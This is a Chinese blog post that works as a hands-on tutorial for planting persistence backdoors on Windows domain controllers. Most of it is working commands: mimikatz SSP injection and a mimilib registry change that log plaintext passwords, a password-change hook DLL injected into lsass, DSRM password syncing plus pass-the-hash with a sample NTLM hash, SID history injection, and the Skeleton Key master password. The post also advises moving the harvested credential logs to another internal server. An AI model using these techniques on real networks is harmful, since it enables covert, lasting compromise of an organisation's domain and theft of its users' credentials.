内网渗透之权限维持-域控后门-SSP&HOOK&DSRM&SID&Skeleton-Key

权限维持-基于验证DLL加载-SSP

方法一:但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
mimikatz

privilege::debug
misc::memssp

在这里插入图片描述
C:\Windows\System32\mimilsa.log 记录登录的账号密码
在这里插入图片描述

方法二:使用此方法即使系统重启,也不会影响到持久化的效果。
1.把mimiakatz下的mimilib.dll 放到目标域控的c:\windows\system32\目录下
2.修改注册表,重启生效
查询

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

修改

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

在这里插入图片描述
c:\windows\system32\kiwissp.log 记录账号密码文件
在这里插入图片描述
这两种方法配合使用效果更好,可以把密码账号文件发到内网一台web服务器或邮件服务器,方便即使获取账号密码

权限维持-基于验证DLL加载-HOOK

方法一

powershell
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
或把HookPasswordChange.dll放到域控中,下面的脚本包含上面两条命令。所以直接运行即可
.\HookPasswordChangeNotify.ps1

在这里插入图片描述
方法二

powershell -exec bypass -Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll -procname lsass}"

报错解决:

powershell
Set-ExecutionPolicy
unrestricted

修改密码后可触发记录密码操作
文件位置c:/windows/temp/password.txt
在这里插入图片描述

权限维持-基于机制账号启用-DSRM

1.获取dsrm及krbtgt的NTLM hash

privilege::debug
lsadump::lsa /patch /name:krbtgt
token::elevate
lsadump::sam

在这里插入图片描述
2.dsrm&krbtgt&NTLM hash同步

NTDSUTIL    #打开ntdsutil
set DSRM password  #修改DSRM的密码
sync from domain account krbtgt     #使DSRM的密码和指定域用户的密码同步
q            (第1次)#退出DSRM密码设置模式
q            (第2次)#退出ntdsutil

在这里插入图片描述
失败的话启用krbtgt账户(域管理中心-users)修改用户账号密码永不过期即可
3.修改dsrm登录方式

powershell
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

在这里插入图片描述

4.利用PTH传递攻击

privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
之后会弹出一个cmd
dir \\owa2010cn-god\c$

在这里插入图片描述
或使用psexec,wmiexec进行pth攻击(域名没成功,主机名成功,按理来说应该都可以)

psexec.exe  owa2010cn-god/administrator@192.168.3.21 -hashes 
:b097d7ed97495408e1537f706c357fc5

在这里插入图片描述

技术总结:
利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

权限维持-基于用户属性修改-SID history

1.获取某用户SID属性:
powershell

Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory

在这里插入图片描述

2.给予某用户administrator属性:
mimiakatz

privilege::debug
sid::patch
sid::add /sam:webadmin /new:administrator

在这里插入图片描述
3.测评给与前后的DC访问权限:

dir \\192.168.3.21\c$

在这里插入图片描述
技术总结:
把域控管理员的SID加入到 其他某个 恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在,和直接加入域管理员组不一样,在用户和组中看不到域成员有管理员权限

权限维持-基于登录进程劫持-Skeleton Key(万能密码)

1、测试域内某个用户与DC通讯

dir \\owa2010cn-god\c$

2、连接DC后,DC注入lsass进程
mimikatz:

privilege::debug
misc::skeleton

在这里插入图片描述
3.重新测试域内某个用户与DC通讯

net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \\owa2010cn-god\c$

在这里插入图片描述
技术总结:
如果ip地址失败,就使用计算机名
因为Skeleton Key技术是被注入到lsass.exe进程的,
所以它只存在内存中,如域控重启,万能密码将失效

posted @ 2023-05-14 20:23  mushangqiujin  阅读(2)  评论(0编辑  收藏  举报  来源